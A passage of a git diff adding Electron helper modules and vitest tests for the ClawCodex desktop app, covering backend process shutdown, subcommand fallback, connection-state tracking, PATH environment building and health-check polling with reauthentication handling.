+ * No-ops silently if `child` is falsy, already killed, or the kill attempt
+ * throws (the process may already be gone) -- mirrors the original inline
+ * best-effort semantics in main.ts.
+ */
+export function stopBackendChild(child: KillableChild | null | undefined, deps: StopBackendChildDeps) {
+  if (!child || child.killed) {
+    return
+  }
+
+  const isWindows = deps.isWindows ?? process.platform === 'win32'
+
+  try {
+    if (isWindows && Number.isInteger(child.pid)) {
+      deps.forceKillProcessTree(child.pid as number)
+    } else {
+      child.kill('SIGTERM')
+    }
+  } catch {
+    // Already gone.
+  }
+}
diff --git a/ui-desktop/electron/backend-command.test.ts b/ui-desktop/electron/backend-command.test.ts
new file mode 100644
index 000000000..6d4052cbf
--- /dev/null
+++ b/ui-desktop/electron/backend-command.test.ts
@@ -0,0 +1,65 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { dashboardFallbackArgs, serveBackendArgs, sourceDeclaresServe } from './backend-command'
+
+test('serveBackendArgs builds a headless serve invocation', () => {
+  assert.deepEqual(serveBackendArgs(), ['serve', '--host', '127.0.0.1', '--port', '0'])
+})
+
+test('serveBackendArgs pins a profile when provided', () => {
+  assert.deepEqual(serveBackendArgs('worker'), ['--profile', 'worker', 'serve', '--host', '127.0.0.1', '--port', '0'])
+})
+
+test('dashboardFallbackArgs rewrites serve -> dashboard --no-open, keeping the -m prefix', () => {
+  const serve = ['-m', 'clawcodex_cli.main', 'serve', '--host', '127.0.0.1', '--port', '0']
+  assert.deepEqual(dashboardFallbackArgs(serve), [
+    '-m',
+    'clawcodex_cli.main',
+    'dashboard',
+    '--no-open',
+    '--host',
+    '127.0.0.1',
+    '--port',
+    '0'
+  ])
+})
+
+test('dashboardFallbackArgs preserves a --profile flag ahead of serve', () => {
+  const serve = ['-m', 'clawcodex_cli.main', '--profile', 'worker', 'serve', '--host', '127.0.0.1', '--port', '0']
+  assert.deepEqual(dashboardFallbackArgs(serve), [
+    '-m',
+    'clawcodex_cli.main',
+    '--profile',
+    'worker',
+    'dashboard',
+    '--no-open',
+    '--host',
+    '127.0.0.1',
+    '--port',
+    '0'
+  ])
+})
+
+test('dashboardFallbackArgs is a no-op (copy) when there is no serve token', () => {
+  const args = ['-m', 'clawcodex_cli.main', 'dashboard', '--no-open']
+  const out = dashboardFallbackArgs(args)
+  assert.deepEqual(out, args)
+  assert.notEqual(out, args, 'should return a copy, not the same reference')
+})
+
+test('sourceDeclaresServe detects the serve subparser registration', () => {
+  assert.equal(sourceDeclaresServe('subparsers.add_parser("serve", help="...")'), true)
+  assert.equal(sourceDeclaresServe("subparsers.add_parser('serve')"), true)
+  assert.equal(sourceDeclaresServe('subparsers.add_parser(\n        "serve",\n)'), true)
+})
+
+test('sourceDeclaresServe does not false-positive on the substring "server"', () => {
+  const oldSource = `
+    dashboard_parser = subparsers.add_parser("dashboard", help="Start the web UI dashboard")
+    from clawcodex_cli.web_server import start_server  # web server
+  `
+
+  assert.equal(sourceDeclaresServe(oldSource), false)
+})
diff --git a/ui-desktop/electron/backend-command.ts b/ui-desktop/electron/backend-command.ts
new file mode 100644
index 000000000..f4f7fe729
--- /dev/null
+++ b/ui-desktop/electron/backend-command.ts
@@ -0,0 +1,48 @@
+// Backend subcommand routing for the desktop-managed ClawCodex process.
+//
+// The desktop app launches its own headless backend via `clawcodex serve` — it
+// must NEVER depend on or launch the browser `dashboard`. But `serve` is a
+// newer subcommand: a runtime that predates it (an older managed install the
+// app hasn't updated yet, or an older `clawcodex` resolved from PATH) only knows
+// `dashboard --no-open`. To avoid bricking those users mid-upgrade we detect
+// whether the resolved runtime understands `serve` and, only when it does not,
+// fall back to the legacy `dashboard --no-open` invocation. Both produce the
+// exact same headless gateway; `serve` is just the decoupled name.
+//
+// These helpers are pure so they can be unit-tested without Electron.
+
+/**
+ * Build the canonical headless backend argv (always `serve`).
+ * @param {string} [profile] optional ClawCodex profile to pin via `--profile`.
+ */
+export function serveBackendArgs(profile?: string) {
+  const head = profile ? ['--profile', profile] : []
+
+  return [...head, 'serve', '--host', '127.0.0.1', '--port', '0']
+}
+
+/**
+ * Rewrite a resolved backend argv from `serve` to the legacy
+ * `dashboard --no-open` form, preserving every other argument (incl. a leading
+ * `-m clawcodex_cli.main` and any `--profile <name>`). Returns a copy; if there is
+ * no `serve` token the argv is returned unchanged.
+ */
+export function dashboardFallbackArgs(args) {
+  const i = args.indexOf('serve')
+
+  if (i === -1) {
+    return args.slice()
+  }
+
+  return [...args.slice(0, i), 'dashboard', '--no-open', ...args.slice(i + 1)]
+}
+
+/**
+ * True when a runtime's `clawcodex_cli/subcommands/dashboard.py` source registers
+ * the `serve` subcommand. Matches `add_parser("serve"` / `add_parser('serve'`
+ * specifically so the substring "server" (e.g. "start_server", "web server")
+ * never produces a false positive.
+ */
+export function sourceDeclaresServe(dashboardPySource) {
+  return /add_parser\(\s*["']serve["']/.test(String(dashboardPySource || ''))
+}
diff --git a/ui-desktop/electron/backend-connection-state.test.ts b/ui-desktop/electron/backend-connection-state.test.ts
new file mode 100644
index 000000000..5520435d3
--- /dev/null
+++ b/ui-desktop/electron/backend-connection-state.test.ts
@@ -0,0 +1,70 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { createBackendConnectionState } from './backend-connection-state'
+
+type FakeProcess = { id: string }
+
+test('a stale backend exit cannot clear a newer connection attempt', () => {
+  const state = createBackendConnectionState<FakeProcess, string>()
+  const oldAttempt = state.startAttempt()
+  const oldPromise = Promise.resolve('old')
+
+  state.setPromise(oldAttempt, oldPromise)
+  const oldOwner = state.attachProcess(oldAttempt, { id: 'old' })
+  assert.ok(oldOwner)
+
+  state.invalidate()
+
+  const newAttempt = state.startAttempt()
+  const newPromise = Promise.resolve('new')
+  const newProcess = { id: 'new' }
+
+  state.setPromise(newAttempt, newPromise)
+  assert.ok(state.attachProcess(newAttempt, newProcess))
+
+  assert.equal(state.clearForCurrentProcess(oldOwner), false)
+  assert.equal(state.getProcess(), newProcess)
+  assert.equal(state.getPromise(), newPromise)
+})
+
+test('the current backend exit clears its process and connection promise', () => {
+  const state = createBackendConnectionState<FakeProcess, string>()
+  const attempt = state.startAttempt()
+
+  state.setPromise(attempt, Promise.resolve('current'))
+  const owner = state.attachProcess(attempt, { id: 'current' })
+  assert.ok(owner)
+
+  assert.equal(state.clearForCurrentProcess(owner), true)
+  assert.equal(state.clearPromiseForAttempt(attempt), true)
+  assert.equal(state.getProcess(), null)
+  assert.equal(state.getPromise(), null)
+})
+
+test('a stale rejected attempt cannot clear a newer connection promise', () => {
+  const state = createBackendConnectionState<FakeProcess, string>()
+  const oldAttempt = state.startAttempt()
+
+  state.setPromise(oldAttempt, Promise.resolve('old'))
+  state.invalidate()
+
+  const newAttempt = state.startAttempt()
+  const newPromise = Promise.resolve('new')
+
+  state.setPromise(newAttempt, newPromise)
+
+  assert.equal(state.clearPromiseForAttempt(oldAttempt), false)
+  assert.equal(state.getPromise(), newPromise)
+})
+
+test('an invalidated attempt cannot attach a late-spawned process', () => {
+  const state = createBackendConnectionState<FakeProcess, string>()
+  const staleAttempt = state.startAttempt()
+
+  state.invalidate()
+
+  assert.equal(state.attachProcess(staleAttempt, { id: 'late' }), null)
+  assert.equal(state.getProcess(), null)
+})
diff --git a/ui-desktop/electron/backend-connection-state.ts b/ui-desktop/electron/backend-connection-state.ts
new file mode 100644
index 000000000..07b289c7d
--- /dev/null
+++ b/ui-desktop/electron/backend-connection-state.ts
@@ -0,0 +1,84 @@
+export type BackendConnectionAttempt<TConnection> = {
+  generation: number
+  promise: Promise<TConnection> | null
+}
+
+export type BackendProcessOwner<TProcess> = {
+  generation: number
+  process: TProcess
+}
+
+export function createBackendConnectionState<TProcess, TConnection>() {
+  let generation = 0
+  let process: TProcess | null = null
+  let promise: Promise<TConnection> | null = null
+
+  return {
+    startAttempt(): BackendConnectionAttempt<TConnection> {
+      return { generation, promise: null }
+    },
+
+    setPromise(attempt: BackendConnectionAttempt<TConnection>, nextPromise: Promise<TConnection>): boolean {
+      if (attempt.generation !== generation) {
+        return false
+      }
+
+      attempt.promise = nextPromise
+      promise = nextPromise
+
+      return true
+    },
+
+    attachProcess(
+      attempt: BackendConnectionAttempt<TConnection>,
+      nextProcess: TProcess
+    ): BackendProcessOwner<TProcess> | null {
+      if (attempt.generation !== generation) {
+        return null
+      }
+
+      process = nextProcess
+
+      return { generation, process: nextProcess }
+    },
+
+    clearForCurrentProcess(owner: BackendProcessOwner<TProcess>): boolean {
+      if (owner.generation !== generation || owner.process !== process) {
+        return false
+      }
+
+      process = null
+      promise = null
+
+      return true
+    },
+
+    clearPromiseForAttempt(attempt: BackendConnectionAttempt<TConnection>): boolean {
+      if (attempt.generation !== generation || (promise !== null && attempt.promise !== promise)) {
+        return false
+      }
+
+      promise = null
+
+      return true
+    },
+
+    getProcess(): TProcess | null {
+      return process
+    },
+
+    getPromise(): Promise<TConnection> | null {
+      return promise
+    },
+
+    invalidate(): TProcess | null {
+      const currentProcess = process
+
+      generation += 1
+      process = null
+      promise = null
+
+      return currentProcess
+    }
+  }
+}
diff --git a/ui-desktop/electron/backend-env.test.ts b/ui-desktop/electron/backend-env.test.ts
new file mode 100644
index 000000000..086a3e4ef
--- /dev/null
+++ b/ui-desktop/electron/backend-env.test.ts
@@ -0,0 +1,191 @@
+import assert from 'node:assert/strict'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  appendUniquePathEntries,
+  buildDesktopBackendEnv,
+  buildDesktopBackendPath,
+  clawcodexManagedNodePathEntries,
+  normalizeClawCodexHomeRoot,
+  pathEnvKey,
+  POSIX_SANE_PATH_ENTRIES
+} from './backend-env'
+
+test('desktop backend PATH adds ClawCodex-managed bins and missing POSIX sane entries', () => {
+  const result = buildDesktopBackendPath({
+    clawcodexHome: '/Users/test/.clawcodex',
+    venvRoot: '/Users/test/.clawcodex/clawcodex/venv',
+    currentPath: '/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin',
+    platform: 'darwin',
+    pathModule: path.posix
+  })
+
+  const entries = result.split(':')
+  // Both managed-Node layouts lead, POSIX-native shape first, then the venv.
+  assert.deepEqual(entries.slice(0, 3), [
+    '/Users/test/.clawcodex/node/bin',
+    '/Users/test/.clawcodex/node',
+    '/Users/test/.clawcodex/clawcodex/venv/bin'
+  ])
+  assert.ok(entries.includes('/opt/homebrew/bin'), 'Apple Silicon Homebrew bin is added')
+  assert.ok(entries.includes('/opt/homebrew/sbin'), 'Apple Silicon Homebrew sbin is added')
+  assert.ok(entries.includes('/usr/local/sbin'), 'missing standard sbin is added')
+
+  for (const expected of POSIX_SANE_PATH_ENTRIES) {
+    assert.ok(entries.includes(expected), `${expected} should be present`)
+  }
+})
+
+test('managed Node dirs lead with the platform-native layout but always offer both', () => {
+  const posix = clawcodexManagedNodePathEntries('/Users/test/.clawcodex', {
+    platform: 'darwin',
+    pathModule: path.posix
+  })
+
+  const windows = clawcodexManagedNodePathEntries('C:\\Users\\test\\AppData\\Local\\clawcodex', {
+    platform: 'win32',
+    pathModule: path.win32
+  })
+
+  // install.sh uses node/bin; install.ps1 unpacks node.exe into node\ itself.
+  // Both shapes are always emitted so migrated installs keep resolving.
+  assert.deepEqual(posix, ['/Users/test/.clawcodex/node/bin', '/Users/test/.clawcodex/node'])
+  assert.deepEqual(windows, [
+    'C:\\Users\\test\\AppData\\Local\\clawcodex\\node',
+    'C:\\Users\\test\\AppData\\Local\\clawcodex\\node\\bin'
+  ])
+})
+
+test('managed Node dirs are empty without a ClawCodex home', () => {
+  assert.deepEqual(clawcodexManagedNodePathEntries(undefined, { platform: 'darwin', pathModule: path.posix }), [])
+  assert.deepEqual(clawcodexManagedNodePathEntries('', { platform: 'win32', pathModule: path.win32 }), [])
+})
+
+test('every managed Node dir outranks the inherited PATH on both platforms', () => {
+  for (const [platform, pathModule, home, inherited, delimiter] of [
+    ['darwin', path.posix, '/Users/test/.clawcodex', '/usr/local/bin:/usr/bin', ':'],
+    ['win32', path.win32, 'C:\\clawcodex', 'C:\\Program Files\\nodejs;C:\\Windows\\System32', ';']
+  ] as const) {
+    const entries = buildDesktopBackendPath({
+      clawcodexHome: home,
+      venvRoot: null,
+      currentPath: inherited,
+      platform,
+      pathModule
+    }).split(delimiter)
+
+    const managed = clawcodexManagedNodePathEntries(home, { platform, pathModule })
+    const firstInherited = Math.min(...inherited.split(delimiter).map(entry => entries.indexOf(entry)))
+
+    for (const dir of managed) {
+      assert.ok(
+        entries.indexOf(dir) >= 0 && entries.indexOf(dir) < firstInherited,
+        `${dir} must precede the inherited PATH on ${platform}`
+      )
+    }
+  }
+})
+
+test('desktop backend PATH preserves first occurrence and avoids duplicates', () => {
+  const result = buildDesktopBackendPath({
+    clawcodexHome: '/Users/test/.clawcodex',
+    venvRoot: '/Users/test/.clawcodex/clawcodex/venv',
+    currentPath: '/opt/homebrew/bin:/usr/bin:/opt/homebrew/bin:/bin',
+    platform: 'darwin',
+    pathModule: path.posix
+  })
+
+  const entries = result.split(':')
+  assert.equal(entries.filter(entry => entry === '/opt/homebrew/bin').length, 1)
+  assert.ok(
+    entries.indexOf('/opt/homebrew/bin') < entries.indexOf('/opt/homebrew/sbin'),
+    'existing Homebrew bin keeps its precedence over appended missing sane entries'
+  )
+})
+
+test('buildDesktopBackendEnv extends PYTHONPATH and backend PATH together', () => {
+  const env = buildDesktopBackendEnv({
+    clawcodexHome: '/Users/test/.clawcodex',
+    pythonPathEntries: ['/repo/clawcodex'],
+    venvRoot: '/Users/test/.clawcodex/clawcodex/venv',
+    currentEnv: {
+      PATH: '/usr/bin:/bin',
+      PYTHONPATH: '/existing/pythonpath'
+    },
+    platform: 'darwin',
+    pathModule: path.posix
+  })
+
+  assert.equal(env.PYTHONPATH, '/repo/clawcodex:/existing/pythonpath')
+  assert.ok(
+    env.PATH.startsWith(
+      '/Users/test/.clawcodex/node/bin:/Users/test/.clawcodex/node:/Users/test/.clawcodex/clawcodex/venv/bin:'
+    )
+  )
+  assert.ok(env.PATH.includes('/opt/homebrew/bin'))
+})
+
+test('buildDesktopBackendEnv forces PYTHONUTF8 unless the user set it explicitly', () => {
+  const defaulted = buildDesktopBackendEnv({
+    clawcodexHome: '/Users/test/.clawcodex',
+    currentEnv: { PATH: '/usr/bin' },
+    platform: 'darwin',
+    pathModule: path.posix
+  })
+
+  assert.equal(defaulted.PYTHONUTF8, '1')
+
+  const optedOut = buildDesktopBackendEnv({
+    clawcodexHome: '/Users/test/.clawcodex',
+    currentEnv: { PATH: '/usr/bin', PYTHONUTF8: '0' },
+    platform: 'darwin',
+    pathModule: path.posix
+  })
+
+  assert.equal(optedOut.PYTHONUTF8, '0')
+})
+
+test('normalizeClawCodexHomeRoot maps profile homes back to the global ClawCodex root', () => {
+  assert.equal(
+    normalizeClawCodexHomeRoot('/Users/test/.clawcodex/profiles/oracle', { pathModule: path.posix }),
+    '/Users/test/.clawcodex'
+  )
+  assert.equal(
+    normalizeClawCodexHomeRoot('C:\\Users\\test\\AppData\\Local\\clawcodex\\profiles\\oracle', { pathModule: path.win32 }),
+    'C:\\Users\\test\\AppData\\Local\\clawcodex'
+  )
+  assert.equal(normalizeClawCodexHomeRoot('/Users/test/.clawcodex', { pathModule: path.posix }), '/Users/test/.clawcodex')
+})
+
+test('Windows PATH casing and delimiter are preserved without POSIX sane entries', () => {
+  const env = buildDesktopBackendEnv({
+    clawcodexHome: 'C:\\Users\\test\\AppData\\Local\\clawcodex',
+    pythonPathEntries: ['C:\\repo\\clawcodex'],
+    venvRoot: 'C:\\Users\\test\\AppData\\Local\\clawcodex\\clawcodex\\venv',
+    currentEnv: {
+      Path: 'C:\\Windows\\System32;C:\\Windows',
+      PYTHONPATH: 'C:\\existing\\pythonpath'
+    },
+    platform: 'win32',
+    pathModule: path.win32
+  })
+
+  assert.equal(pathEnvKey({ Path: 'x' }, 'win32'), 'Path')
+  assert.equal(env.PATH, undefined)
+  // Windows leads with the portable layout (install.ps1 unpacks node.exe
+  // straight into node\, no bin\), then the POSIX shape for migrated installs.
+  assert.ok(
+    env.Path.startsWith(
+      'C:\\Users\\test\\AppData\\Local\\clawcodex\\node;C:\\Users\\test\\AppData\\Local\\clawcodex\\node\\bin;'
+    )
+  )
+  assert.ok(env.Path.includes('\\venv\\Scripts;'))
+  assert.ok(env.Path.includes(';C:\\Windows\\System32;C:\\Windows'))
+  assert.equal(env.Path.includes('/opt/homebrew/bin'), false)
+})
+
+test('appendUniquePathEntries drops empty entries and keeps first occurrence', () => {
+  assert.equal(appendUniquePathEntries([':/a::/b', ['/a', '/c']], { delimiter: ':' }), '/a:/b:/c')
+})
diff --git a/ui-desktop/electron/backend-env.ts b/ui-desktop/electron/backend-env.ts
new file mode 100644
index 000000000..1dc2f4321
--- /dev/null
+++ b/ui-desktop/electron/backend-env.ts
@@ -0,0 +1,161 @@
+import path from 'node:path'
+
+// Match the POSIX fallback surface used by the Python terminal environment.
+// macOS apps launched from Finder/Dock often inherit only /usr/bin:/bin:/usr/sbin:/sbin,
+// which misses Apple Silicon Homebrew and user-installed CLI tools such as codex.
+const POSIX_SANE_PATH_ENTRIES = Object.freeze([
+  '/opt/homebrew/bin',
+  '/opt/homebrew/sbin',
+  '/usr/local/sbin',
+  '/usr/local/bin',
+  '/usr/sbin',
+  '/usr/bin',
+  '/sbin',
+  '/bin'
+])
+
+function delimiterForPlatform(platform = process.platform) {
+  return platform === 'win32' ? ';' : ':'
+}
+
+function pathModuleForPlatform(platform = process.platform) {
+  return platform === 'win32' ? path.win32 : path.posix
+}
+
+function pathEnvKey(env = process.env, platform = process.platform) {
+  if (platform !== 'win32') {
+    return 'PATH'
+  }
+
+  return Object.keys(env || {}).find(key => key.toUpperCase() === 'PATH') || 'PATH'
+}
+
+function currentPathValue(env = process.env, platform = process.platform) {
+  const key = pathEnvKey(env, platform)
+
+  return env?.[key] || ''
+}
+
+function appendUniquePathEntries(entries, { delimiter = path.delimiter } = {}) {
+  const seen = new Set()
+  const ordered = []
+
+  for (const entry of entries) {
+    if (!entry) {
+      continue
+    }
+
+    const parts = Array.isArray(entry) ? entry : String(entry).split(delimiter)
+
+    for (const part of parts) {
+      if (!part || seen.has(part)) {
+        continue
+      }
+
+      seen.add(part)
+      ordered.push(part)
+    }
+  }
+
+  return ordered.join(delimiter)
+}
+
+/**
+ * ClawCodex-managed Node.js directories, in preferred lookup order.
+ *
+ * There are two on-disk layouts. `scripts/install.ps1` unpacks portable Node
+ * straight into `%LOCALAPPDATA%\clawcodex\node` (node.exe at the root, no `bin\`);
+ * `scripts/install.sh` and the node-bootstrap helper use the POSIX
+ * `$CLAWCODEX_CONFIG_DIR/node/bin`. Emit BOTH on every platform so mixed and migrated
+ * installs resolve, leading with the layout native to the current platform.
+ *
+ * This is the single source of truth for the ordering rule on the Node side —
+ * `main.ts` imports it rather than keeping its own copy. Mirrors
+ * `iter_clawcodex_node_dirs()` in clawcodex_constants.py, which the Electron main
+ * process cannot import.
+ */
+function clawcodexManagedNodePathEntries(
+  clawcodexHome,
+  { platform = process.platform, pathModule = pathModuleForPlatform(platform) }: any = {}
+) {
+  if (!clawcodexHome) {
+    return []
+  }
+
+  const root = pathModule.join(clawcodexHome, 'node')
+  const bin = pathModule.join(root, 'bin')
+
+  return platform === 'win32' ? [root, bin] : [bin, root]
+}
+
+function buildDesktopBackendPath({
+  clawcodexHome,
+  venvRoot,
+  currentPath = '',
+  platform = process.platform,
+  pathModule = pathModuleForPlatform(platform)
+}: any = {}) {
+  const delimiter = delimiterForPlatform(platform)
+  const clawcodexNodeDirs = clawcodexManagedNodePathEntries(clawcodexHome, { platform, pathModule })
+  const venvBin = venvRoot ? pathModule.join(venvRoot, platform === 'win32' ? 'Scripts' : 'bin') : null
+  const saneEntries = platform === 'win32' ? [] : POSIX_SANE_PATH_ENTRIES
+
+  return appendUniquePathEntries([clawcodexNodeDirs, venvBin, currentPath, saneEntries], { delimiter })
+}
+
+function normalizeClawCodexHomeRoot(clawcodexHome, { pathModule = pathModuleForPlatform(process.platform) }: any = {}) {
+  if (!clawcodexHome) {
+    return clawcodexHome
+  }
+
+  const resolved = pathModule.resolve(String(clawcodexHome))
+  const parent = pathModule.dirname(resolved)
+
+  if (pathModule.basename(parent).toLowerCase() === 'profiles') {
+    return pathModule.dirname(parent)
+  }
+
+  return resolved
+}
+
+function buildDesktopBackendEnv({
+  clawcodexHome,
+  pythonPathEntries = [],
+  venvRoot,
+  currentEnv = process.env,
+  platform = process.platform,
+  pathModule = pathModuleForPlatform(platform)
+}: any = {}) {
+  const delimiter = delimiterForPlatform(platform)
+  const currentPythonPath = currentEnv?.PYTHONPATH || ''
+  const key = pathEnvKey(currentEnv, platform)
+
+  return {
+    PYTHONPATH: appendUniquePathEntries([...pythonPathEntries, currentPythonPath], { delimiter }),
+    // Force PEP 540 UTF-8 mode in the spawned Python backend so its stdio and
+    // subprocess defaults are UTF-8 even on non-UTF-8 Windows locales (GBK,
+    // cp1252, ...). clawcodex_bootstrap sets this inside the child too, but only
+    // after import — anything emitted earlier (interpreter startup errors,
+    // pre-bootstrap tracebacks) still decodes with the locale default without
+    // this. User's explicit setting wins. Re-port of PR #56499 (echoriver89).
+    PYTHONUTF8: currentEnv?.PYTHONUTF8 ?? '1',
+    [key]: buildDesktopBackendPath({
+      clawcodexHome,
+      venvRoot,
+      currentPath: currentPathValue(currentEnv, platform),
+      platform,
+      pathModule
+    })
+  }
+}
+
+export {
+  appendUniquePathEntries,
+  buildDesktopBackendEnv,
+  buildDesktopBackendPath,
+  clawcodexManagedNodePathEntries,
+  delimiterForPlatform,
+  normalizeClawCodexHomeRoot,
+  pathEnvKey,
+  POSIX_SANE_PATH_ENTRIES
+}
diff --git a/ui-desktop/electron/backend-health.test.ts b/ui-desktop/electron/backend-health.test.ts
new file mode 100644
index 000000000..2089bf922
--- /dev/null
+++ b/ui-desktop/electron/backend-health.test.ts
@@ -0,0 +1,340 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import {
+  DEFAULT_HEALTH_PROBE_TIMEOUT_MS,
+  isAuthRejectionError,
+  isGatedMissingHealthError,
+  isMissingHealthEndpointError,
+  isReauthRequiredError,
+  waitForClawCodexReady
+} from './backend-health'
+
+const GATE_401 = '401: {"error":"unauthenticated","detail":"Unauthorized","reason":"no_cookie","login_url":"/login"}'
+
+test('uses lightweight /api/health for current backends', async () => {
+  const calls: string[][] = []
+
+  await waitForClawCodexReady('http://127.0.0.1:9000/', {
+    token: 'secret-token',
+    fetchPublicJson: async url => {
+      calls.push(['public', url])
+
+      return { ok: true }
+    },
+    fetchJson: async url => {
+      calls.push(['token', url])
+      throw new Error('status should not be called')
+    },
+    sleep: async () => {},
+    timeoutMs: 100,
+    pollMs: 1
+  })
+
+  assert.deepEqual(calls, [['public', 'http://127.0.0.1:9000/api/health']])
+})
+
+test('falls back to /api/status only for old backends without /api/health', async () => {
+  const calls: string[][] = []
+
+  await waitForClawCodexReady('http://127.0.0.1:9000', {
+    token: 'secret-token',
+    fetchPublicJson: async url => {
+      calls.push(['public', url])
+
+      throw new Error('404: {"detail":"Not Found"}')
+    },
+    fetchJson: async (url, token) => {
+      calls.push(['token', url, token ?? ''])
+
+      return { version: 'old' }
+    },
+    sleep: async () => {},
+    timeoutMs: 100,
+    pollMs: 1
+  })
+
+  assert.deepEqual(calls, [
+    ['public', 'http://127.0.0.1:9000/api/health'],
+    ['token', 'http://127.0.0.1:9000/api/status', 'secret-token']
+  ])
+})
+
+test('does not fall back to heavyweight /api/status for transient health failures', async () => {
+  const calls: string[][] = []
+  let currentTime = 0
+
+  await assert.rejects(
+    waitForClawCodexReady('http://127.0.0.1:9000', {
+      fetchPublicJson: async url => {
+        calls.push(['public', url])
+        throw new Error('Timed out connecting to ClawCodex backend after 15000ms')
+      },
+      fetchJson: async url => {
+        calls.push(['token', url])
+      },
+      sleep: async () => {},
+      now: () => {
+        currentTime += 20
+
+        return currentTime
+      },
+      timeoutMs: 50,
+      pollMs: 1
+    }),
+    /Timed out connecting/
+  )
+
+  assert.ok(calls.length > 0)
+  assert.ok(calls.every(call => call[0] === 'public' && call[1].endsWith('/api/health')))
+})
+
+test('probes health on a short timeout but leaves the legacy fallback its own', async () => {
+  const timeouts: (number | undefined)[] = []
+
+  await waitForClawCodexReady('http://127.0.0.1:9000', {
+    fetchPublicJson: async (_url, options) => {
+      timeouts.push(options?.timeoutMs)
+
+      throw new Error('404: {"detail":"Not Found"}')
+    },
+    fetchJson: async (_url, _token, options) => {
+      timeouts.push(options?.timeoutMs)
+
+      return { version: 'old' }
+    },
+    sleep: async () => {},
+    timeoutMs: 100,
+    pollMs: 1
+  })
+
+  assert.deepEqual(timeouts, [DEFAULT_HEALTH_PROBE_TIMEOUT_MS, undefined])
+})
+
+test('aborts as superseded when the bootstrap signal fires', async () => {
+  const controller = new AbortController()
+  controller.abort()
+
+  await assert.rejects(
+    waitForClawCodexReady('http://127.0.0.1:9000', {
+      signal: controller.signal,
+      fetchPublicJson: async () => {
+        throw new Error('should not probe after abort')
+      },
+      fetchJson: async () => {
+        throw new Error('should not probe after abort')
+      },
+      timeoutMs: 100,
+      pollMs: 1
+    }),
+    (error: any) => error.kind === 'superseded'
+  )
+})
+
+test('recognizes missing-route shapes only', () => {
+  assert.equal(isMissingHealthEndpointError(new Error('404: {"detail":"Not Found"}')), true)
+  assert.equal(
+    isMissingHealthEndpointError(
+      new Error('Expected JSON from /api/health but got HTML. The endpoint is likely missing on the ClawCodex backend.')
+    ),
+    true
+  )
+  assert.equal(isMissingHealthEndpointError(new Error('Timed out connecting to ClawCodex backend after 15000ms')), false)
+  assert.equal(isMissingHealthEndpointError(new Error('500: boom')), false)
+})
+
+// --- Gated backends that predate /api/health (release 0.19.0 and earlier) ---
+//
+// The dashboard auth gate runs ahead of the SPA catch-all, so on a backend
+// without the route an ANONYMOUS probe is rejected as unauthenticated rather
+// than 404 — verified against a simulated 0.19.0 backend:
+//   credential-free: /api/health -> 401 no_cookie, /api/status -> 200
+//   credentialed:    /api/health -> 404,           /api/sessions -> 200
+
+test('anonymous gate-shaped 401 falls back to /api/status (backend predates /api/health)', async () => {
+  const calls: string[][] = []
+
+  await waitForClawCodexReady('http://192.168.1.132:9119', {
+    token: null,
+    fetchPublicJson: async url => {
+      calls.push(['public', url])
+      throw new Error(GATE_401)
+    },
+    fetchJson: async (url, token) => {
+      calls.push(['token', url, token == null ? 'null' : token])
+
+      return { version: '0.19.0', auth_required: true }
+    },
+    sleep: async () => {},
+    timeoutMs: 100,
+    pollMs: 1
+  })
+
+  assert.deepEqual(calls, [
+    ['public', 'http://192.168.1.132:9119/api/health'],
+    ['token', 'http://192.168.1.132:9119/api/status', 'null']
+  ])
+})
+
+test('a credentialed 401 fails fast for reauth instead of reporting a dead session ready', async () => {
+  // The regression a blanket 401->fallback introduces: /api/status is public,
+  // so an expired session would answer 200 and boot would report "ready",
+  // deferring the no_cookie to the first real API call.
+  const calls: string[][] = []
+
+  await assert.rejects(
+    waitForClawCodexReady('https://gateway.example', {
+      token: 'session-token',
+      fetchPublicJson: async () => {
+        throw new Error('public probe must not be used when credentialed')
+      },
+      fetchJson: async url => {
+        calls.push(['status', url])
+
+        return { version: '0.19.0' }
+      },
+      probeHealth: async url => {
+        calls.push(['probe', url])
+        throw new Error(GATE_401)
+      },
+      probeIsCredentialed: true,
+      sleep: async () => {},
+      timeoutMs: 100,
+      pollMs: 1
+    }),
+    (error: any) => {
+      assert.equal(isReauthRequiredError(error), true)
+      assert.equal(error.needsOauthLogin, true)
+      assert.match(error.message, /remote gateway session has expired/i)
+
+      return true
+    }
+  )
+
+  // Fail fast: never reached the public /api/status leg.
+  assert.deepEqual(calls, [['probe', 'https://gateway.example/api/health']])
+})
+
+test('a credentialed 403 is also a terminal reauth failure', async () => {
+  await assert.rejects(
+    waitForClawCodexReady('https://gateway.example', {
+      fetchPublicJson: async () => ({}),
+      fetchJson: async () => ({}),
+      probeHealth: async () => {
+        throw new Error('403: {"detail":"Forbidden"}')
+      },
+      probeIsCredentialed: true,
+      sleep: async () => {},
+      timeoutMs: 100,
+      pollMs: 1
+    }),
+    (error: any) => isReauthRequiredError(error)
+  )
+})
+
+test('a credentialed probe still uses the 404 fallback for a genuinely missing route', async () => {
+  // With credentials the gate lets the request through to the SPA catch-all,
+  // so an old backend answers a real 404 — that must still fall back, not be
+  // mistaken for a rejected session.
+  const calls: string[][] = []
+
+  await waitForClawCodexReady('https://gateway.example', {
+    token: 'session-token',
+    fetchPublicJson: async () => {
+      throw new Error('public probe must not be used when credentialed')
+    },
+    fetchJson: async url => {
+      calls.push(['status', url])
+
+      return { version: '0.19.0' }
+    },
+    probeHealth: async url => {
+      calls.push(['probe', url])
+      throw new Error('404: {"detail":"Not Found"}')
+    },
+    probeIsCredentialed: true,
+    sleep: async () => {},
+    timeoutMs: 100,
+    pollMs: 1
+  })
+
+  assert.deepEqual(calls, [
+    ['probe', 'https://gateway.example/api/health'],
+    ['status', 'https://gateway.example/api/status']
+  ])
+})
+
+test('a non-gate 401 keeps polling rather than skipping a misconfigured health route', async () => {
+  const calls: string[][] = []
+  let currentTime = 0
+
+  await assert.rejects(
+    waitForClawCodexReady('http://127.0.0.1:9000', {
+      fetchPublicJson: async url => {
+        calls.push(['public', url])
+        throw new Error('401: {"detail":"Unauthorized"}')
+      },
+      fetchJson: async url => {
+        calls.push(['token', url])
+      },
+      sleep: async () => {},
+      now: () => {
+        currentTime += 20
+
+        return currentTime
+      },
+      timeoutMs: 50,
+      pollMs: 1
+    }),
+    /401: \{"detail":"Unauthorized"\}/
+  )
+
+  assert.ok(calls.length > 0)
